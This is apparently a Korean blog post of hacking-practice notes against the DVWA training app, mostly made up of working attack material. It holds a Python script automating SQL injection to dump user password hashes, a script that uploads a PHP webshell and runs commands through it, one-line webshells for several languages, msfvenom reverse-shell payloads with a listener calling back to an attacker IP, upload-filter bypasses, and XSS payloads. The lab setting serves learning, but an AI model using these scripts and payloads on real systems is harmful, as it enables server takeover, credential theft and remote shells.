[목차]

 

 

1. SQL_Injection.py

2. 파일 업로드 공격 활용법

3. 파일 업로드 우회방법

4. fileupload.py

5. XSS

 

target server = DVWA

 

 


 

 

 

 

[Sql_Injection.py]

 

import re
import os
import sys
import requests
from bs4 import BeautifulSoup

proxies = {'http':'http://127.0.0.1:9000', 'https':'https://127.0.0.1:9000'}
headers = {'user-agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Linux 2.6.26-1-amd64) Lobo/0.98.3'}

# 1) Login
# 2) Security level
# 3) SQL Injection Vulerable
# 4) SQL Injection Attack


# 1) Login
login_url = "http://192.168.10.134/dvwa/login.php"
login_data = {'username': 'admin', 'password': 'password', 'Login': 'Login'}
login_msg = 'Welcome to Damn Vulnerable Web App!'

s = requests.Session()
req = s.post(login_url, data=login_data, headers=headers, proxies=proxies)
soup = BeautifulSoup(req.text, 'lxml')
#print(soup.h1.string)
if re.search(login_msg, soup.h1.string):
    print ("[  OK  ] Login Success!")
else :
    print("Fail!!!!")
    sys.exit(2)

# 2) Security level
sec_url = 'http://192.168.10.134/dvwa/security.php'
sec_data = {'security': 'low', 'seclev_submit' : 'Submit'}
sec_msg = "Security level set to low"

req = s.post(sec_url, data=sec_data, headers=headers, proxies=proxies)
#print(req.text)
soup = BeautifulSoup(req.text, 'lxml')
#print(soup.find_all('div', {'class', 'message'}))

if re.search(sec_msg, str(soup.find_all('div', {'class', 'message'}))):
    print ('[  OK  ] Security level set low')
else :
    print('[ WARN] Check security level! ')


# 3) SQL Injection Vulerable
    # method : get
    # sql_url = 'http://192.168.10.134/dvwa/vulnerabilities/sqli/?'
    # params: {'id':'wek', 'Submit': 'Submit'}
    # msg = SQLinjected

sql_url = 'http://192.168.10.134/dvwa/vulnerabilities/sqli/?'
sql_cmd = "SQLinjected'"
sql_params = {'id': sql_cmd, 'Submit': 'Submit'}
sql_msg = 'SQLinjected'

req = s.get(sql_url, params=sql_params, headers=headers, proxies=proxies)
#print(req.text)

soup = BeautifulSoup(req.text, 'lxml')
#print(soup.pre.string)
if re.search(sql_msg, soup.pre.string):
    print('[  OK  ] SQL Injection Attack Possible')
else:
    print('Impossible Sql Injection')
    sys.exit(5)

# 4) SQL Injection Attack
# DB search
# ' and 1=2 union select null,version() #
# ' and 1=2 union select null,user() #
# ' and 1=2 union select null,database() #
# ' and 1=2 union select null,table_name from information_schema.tables where table_schema=database() #
# ' and 1=2 union select null,column_name from information_schema.columns where table_name='users'#
# ' and 1=2 union select user,password from users #

SQL_InjectionList = [
    "' and 1=2 union select null,version() #",
    "' and 1=2 union select null,user() #",
    "' and 1=2 union select null,database() #",
    "' and 1=2 union select null,table_name from information_schema.tables where table_schema=database() #",
    "' and 1=2 union select user,password from users #"]


SQL_Injection_Query_List_Menu = """
========================================
(1) DB Software Version
(2) DB Current User
(3) DB Name
(4) DB Table Name
(5) DB User Information in USERS Table
========================================

"""
print(SQL_Injection_Query_List_Menu)



#method :

for Query in SQL_InjectionList:
    sql_params = Query
    sqlinjection_params = {'id': sql_params, 'Submit': 'Submit'}
    req = s.get(sql_url, params=sqlinjection_params, headers=headers, proxies=proxies)
    # print(req.text) ; input()
    soup = BeautifulSoup(req.text, 'lxml')
    # print(soup.pre) ; input()
    # print(soup.find_all('pre')) ; input() # 출력이 옆으로 나와서 보기가 힘들다.
    for tag in soup.find_all('pre'): # 아래로 출력되도록
        print(tag)
    print('\n')

 

 

 


 

 

 

[파일 업로드 공격 활용법]

 

 

 

먼저 기본 쉘코드 생성 및 사용 방법을 살펴본다.

 

 

ㄱ. 칼리에 기본 내장되어 있는 쉘 코드 사용

# /usr/share/webshells 경로에 가보면

 

 

다양한 asp, jsp, php 등등에 사용할 수 있는

간단한 백도어 코드들이 있는데 이 외에도

한줄짜리 쉘 코드들은 인터넷에서 쉽게 찾을 수 있다.

 

 

PHP :

<?php system($_GET[\'cmd\']); ?>

<?php @eval($_GET[\'cmd\']); ?>

<?php shell_exec($_GET[\'cmd\']); ?>

<?php echo passthru($_GET[\'cmd\']); ?>

 

ASP :

<% eval request("cmd") %>

 

ASP.NET :

<% @ Page Language="Jscript" %> <%eval(Request.Item["cmd"],"unsafe"); %>

JSP : <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

 

 

 

 

 

 

ㄴ. 칼리에서 weevely라는 툴을 사용해

별도로 백도어 코드를 만들어 사용

 

# weevely generate password123 /attack/backdoor.php

 

생성 후 해당 코드를 업로드,

업로드 된 경로를 확인 후(파일을 별도로 실행할 필요 없음)

공격자 터미널에서 weevely를 통해 접속하면 연결에 성공한다.

 

# weevely http://192.168.10.134/dvwa/hackable/uploads/backdoor.php password123

 

 

 

 

 

ㄷ. msfvenom으로 payload 생성

 

# msfvenom --list payloads | grep php

 

# msfvenom -p php/meterpreter/reverse_tcp --list-options

# msfvenom --list formats

# msfvenom -p php/meterpreter/reverse_tcp \

LHOST=192.168.10.60 LPORT=4444 \

-f raw > PHONE_HOME.php

 

# vi PHONE_HOME.php

들어가면 코드가 주석처리 되어있으니

처음 부분의 '/*'을 삭제 후 사용한다.

 

reverse_tcp로 payload 만들었으니 나에게 응답이 올 것이다.

그러므로 거기에 반응할 리스너를 추가로 만들어 줘야한다.

 

# cat << EOF >> php_meterpreter_reverse_tcp.rc

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set LHOST 192.168.10.60

set LPORT 4444

set ExitSession false

exploit -j -z

EOF

 

확인 작업을 해 준뒤

# cat php_meterpreter_reverse_tcp.rc

 

연결시도

# msfconsole -q -r php_meterpreter_reverse_tcp.rc

> jobs : 내용 나옴

> sessions : 내용 없음

 

 

위에서 만든 PHONE.HOME.php 파일을 업로드한다.

업로드된 경로로 이동해 해당 파일을 실행시키고

터미널로 와서

> jobs : 내용없음

> sessions : 세션이 하나 생겼다.

> sessions -i 1: 세션사용

> shell : shell 전환

 

명령어 입력

 

 

 


 

 

[파일 업로드 우회]

 

 

https://m.blog.naver.com/noorol/221222836923

https://hack-cracker.tistory.com/255

 

 

1) 첫번째 만나는 확장자 패턴만 점검 => webshell.txt.asp

2) urlencode : %00 => webshell.asp%00.jpg => webshell.asp%

3) Content-type 의해 필터링 되는 경우 => proxy에서 수정

4) 확장자 대소문자 구분을 통해 필터링 우회 (PHP는 대소문자 구분안함) => webshell.PhP

5) 확장자 추가를 통해 필터링 우회 특정한 확장자만 필터링하는 경우라면 => webshell.php.supected

6) IIS 서버 ;(세미콜론) 우회https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-3436/opbyp-1/Microsoft-IIS.html

7) 이미지에 코드 삽입 우회

 

 

■ exiftool 사용법

https://hvdwolf.github.io/pyExifToolGUI/

http://owl.phy.queensu.ca/~phil/exiftool/examples.html

 

 

exiftool 설치

# apt-get -y install exif

 

이미지에 대한 정보보기

# exif test.jpg

 

이미지에 metadata 삽입하기

# exif -artist=me test.jpg

 

이미지에 여러가지 metadata 삽입하기

# exif -artist="Phil Harvery" -copyright="2011 Phil Harvery" test.jpg

 

디렉토리에 있는 이미지에게 모두 metadata 삽입하기

# exif -artist=me c:\images

 

 

PHP 웹셀 코드 삽입하기

# exif -DocumentName="<?php phpinfo(); __halt_compiler(); ?>" \

C:\Users\Admin\Desktop\images\test.jpg

https://youtu.be/5ImIa9-jy6w

 

 

 


 

 

 

[fileupload.py]

 

 

import re
import os
import sys
import requests
from bs4 import BeautifulSoup

# One Line Webshell
TestPHPContent = '<?php phpinfo() ?>'
OneLineWebShellContent = '<pre><?php system($_GET[\'cmd\']); ?></pre>'

# 1) Login
login_url = 'http://192.168.10.134/dvwa/login.php'
login_data = {'username': 'admin', 'password': 'password', 'Login': 'Login'}
headers = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Linux 2.6.26-1-amd64) Lobo/0.98.3'}
proxies = {'http': 'http://127.0.0.1:9000', 'https': 'https://127.0.0.1:9000'}


s = requests.Session()
req = s.post(login_url, data=login_data, headers=headers, proxies=proxies)
#print(req.text)
login_msg = "Welcome to Damn Vulnerable Web App!"

soup=BeautifulSoup(req.text, 'lxml')
# print(soup.h1.string)

if re.search(login_msg, str(soup.h1)):
    print("[  OK  ] Login Success!")
else:
    print("[ FAIL ] Login Failed")
    sys.exit(2)

# 2) Security Level Check
sec_url='http://192.168.10.134/dvwa/security.php'
sec_data={'security': 'low', 'seclev_submit': 'Submit'}

req = s.post(sec_url, data=sec_data, headers=headers, proxies=proxies)
# print(req.text)
soup = BeautifulSoup(req.text, 'lxml')
# print(soup.find_all('div', {'class': 'message'}))
sec_msg = 'Security level set to low'

if re.search(sec_msg, str(soup.find_all('div', {'class': 'message'}))):
    print('[  OK  ] Security level set to low')
else :
    print('[ FAIL ] Check security level.')
    sys.exit(3)


# 3) File Upload Vulnerable Check
upload_url = 'http://192.168.10.134/dvwa/vulnerabilities/upload/'
upload_data= {'MAX_FILE_SIZE': '100000', 'Upload': 'Upload'}
upload_file= {'uploaded': ('test.php', TestPHPContent, 'text/plain')} # 파일은 묶을 수 있다. 파일명/파일내용/파일형식

req = s.post(upload_url, data=upload_data, files=upload_file, headers=headers, proxies=proxies)
#print(req.text)
soup = BeautifulSoup(req.text, 'lxml')
#print(soup.pre.string)

suc_msg='succesfully uploaded!'
if re.search(suc_msg, soup.pre.string):
    print('[  OK  ] Upload Vulnerable detected!')
else:
    print('[ FAIL ] Cant upload!')
    sys.exit(4)

# 4) File Upload Attack
# 4-1) create webshell
# 4-2) upload webshell
# 4-3) execute webshell

# 4-1) create webshell
fd = open('cmd.php', 'w+')
fd.write(OneLineWebShellContent)
fd.close()
if os.path.exists('cmd.php'):
    print('[  OK  ] Webshell file has been created! ')
else:
    print('Fail to create file')
    sys.exit(5)

# 4-2) upload webshell
upload_files= {'uploaded': ('cmd.php', open('cmd.php', 'rb'), 'text/plain')}
req = s.post(upload_url, data=upload_data, files=upload_files, headers=headers, proxies=proxies)
#print(req.text)

soup = BeautifulSoup(req.text, 'lxml')
if re.search(suc_msg, soup.pre.string):
    print('[  OK  ] Webshell file Uploaded')
else:
    print('[ WARN ] Fail uploading webshell')
    sys.exit(6)

# 4-3) execute webshell
# method : GET
cmd_url="http://192.168.10.134/dvwa/hackable/uploads/cmd.php?"
while True:
    CMD  = input('[www-data@WEB]$ ')
    params = {'cmd': CMD}
    req = s.get(cmd_url, params=params, headers=headers, proxies=proxies)
    #print(req.text)
    soup = BeautifulSoup(req.text, 'lxml')
    print("------------- Command Output ----------------")
    print(soup.pre.string)

 

 

 


 

 

[XSS]

 

 

 

 

참고 : CSRF와 XSS의 차이점

 

CSRF는 XSS의 한 종류이지만 차이점으로는

XSS는 공격대상이 Client / CSRF는 Server라는 점,

 

XSS는 사이트 변조나 백도어를 통해 클라이언트에 대한 악성공격을 하고

CSRF는 요청을 위조하여 사용자의 권한을 이용해 서버에 대한 악성공격을 함

 

<script>alert('takudaddy')</script>

<script>alert(doument.cookie)</script>

<iframe src="http://www.google.com">

 

 

 

 

참고: 쿠키와 세션

 

쿠키는 서버가 클라이언트에게 제공하는 정보 파일이라 할 수 있다. (임시파일에 저장)

쿠키는 사용자가 웹사이트를 처음 방문할 때 웹사이트에서 사용자 컴퓨터의 하드 디스크에 저장해 놓는 작은 파일

쿠키는 그 웹사이트에 대한 사용자의 신분증 같은 것. 쿠키의 역할은 사용자가 해당 사이트를 다시 방문 할 때 그 사이트에 알려주는 것. 쿠키 안에 개인 데이터가 담겼을 경우 악용될 가능성이 있지만, 쿠키 자체는 악성 파일이 아님.

쿠키는 사용자가 웹페이지를 얼마나 자주 방문하는지 알려 줌으로써, 사용자가 관심을 갖는 정보를 파악할 수 있도록 한다. 이를 기반으로 웹사이트는 사용자가 좋아하는 콘텐츠를 더욱 많이 제공하고 관심을 갖지 않는 콘텐츠는 줄일 수 있다.

예를 들어, 온라인 상점에서 가상 쇼핑백에 상품을 넣고 며칠 후에 다시 해당 사이트를 방문했을 때, 상품이 그대로 쇼핑백에 담겨 있는 것을 본 적이 있을 것이다. 그것이 바로 쿠키의 역할이다. 쿠키를 이용하여 사용자는 기본설정, 사용자의 이름, 등록 상품 및 서비스를 저장할 수 있으며 페이지를 개인 설정할 수 있다.

 

 

세션은 브라우저가 종료되기 전까지 클라이언트의 요청을 유지해주는 기술인데

서버가 연결을 유지하는 특정 값을 만들어(메모리상에 변수로 저장) 클라이언트에 전송.

 

쿠키와 세션의 차이는

쿠키는 로컬에, 세션은 로컬과 서버에 저장됨.

쿠키는 탈취와 변조가 가능하지만, 세션은 ID값만 가지고 있고

서버에도 저장이 되어있기 때문에 상대적으로 안전함

 

쿠키는 브라우저 종료해도 남아있지만

세션은 브라우저 종료시 세션 삭제

 

쿠키는 파일에서 읽기 때문에 상대적으로 빠르고

세션은 요청이 올때마다 서버에서 처리를 하기 때문에 상대적으로 느림

 

참조 : https://chrisjune-13837.medium.com/web-%EC%BF%A0%ED%82%A4-%EC%84%B8%EC%85%98%EC%9D%B4%EB%9E%80-aa6bcb327582

 

 

 

 


 

 

 

실습 :

 

 

(공격 코드 생성)

# msfvenom --list payloads | grep php | grep reverse_tcp

# msfvenom -p php/meterpreter/reverse_tcp --list-options

# msfvenom -p php/meterpreter/reverse_tcp LHOST=자기IP -f raw -o Forum_Bug.php

 

 

msfvenom으로 만들어지는 코드들은

바로 쓸 수 없도록 주석 처리가 되어있다.

주석 제거

 

 

# msfconsole -q

> use exploit/multi/handler

> set payload php/meterpreter/reverse_tcp

> set LHOST 111.11

> set LPORT 4444

> exploit

 

 

만든 파일 업로드 >

XSS stored 들어가서

<script>window.location="http://192.168.10.134/dvwa/hackable/uploads/Forum_Bug.php" </script> 입력

(업로드 경로를 알고있어야 한다)

 

 

터미널에서 연결된것 확인

meterpreter> shell

명령어 입력

> grep "db_" /var/www/dvwa/config/config.inc.php

db정보 확인 후 빠져나오기

 

 

상대편 mysql로 바로 접속

# mysql -h 192.168.10.134 -u root -p

> show databases;

> use dvwa;

> show tables;

> desc users;

> select user,password form dvwa.users;

암호 크랙작업 : 존더리퍼 /

 

해시 암호화 방식에서 중요한건 길이,

길이를 파악해야한다.

 

# md5sum /etc/passwd

# sha1sum /etc/passwd

참조해서 길이를 보고 대충 파악

아님 hash-identifier 툴 사용해

해시 종료 확인

 

 

 

 

[작업 과정 정리]

 

 

 

* 문제 풀이에서 사용되는 우회 패턴 테스트

우회 패턴:

대소문자 섞어 쓰는 우회 방법

<SCRIPT>alert</SCRIPT>

<sc\ript>...

<Script>...

<sCRIPT>...

 

 

* 문제 풀이에서 사용되는 우회 패턴 테스트

: 우회 가능성이 있는 부분을 사용

txtName : <img src=x onerror=alert(document.cookie)>

mtxMessage : <svg onload=alert('SVG_image')>

 

 

 


 

 

 

 

 

 

 

 

 

728x90
반응형

+ Recent posts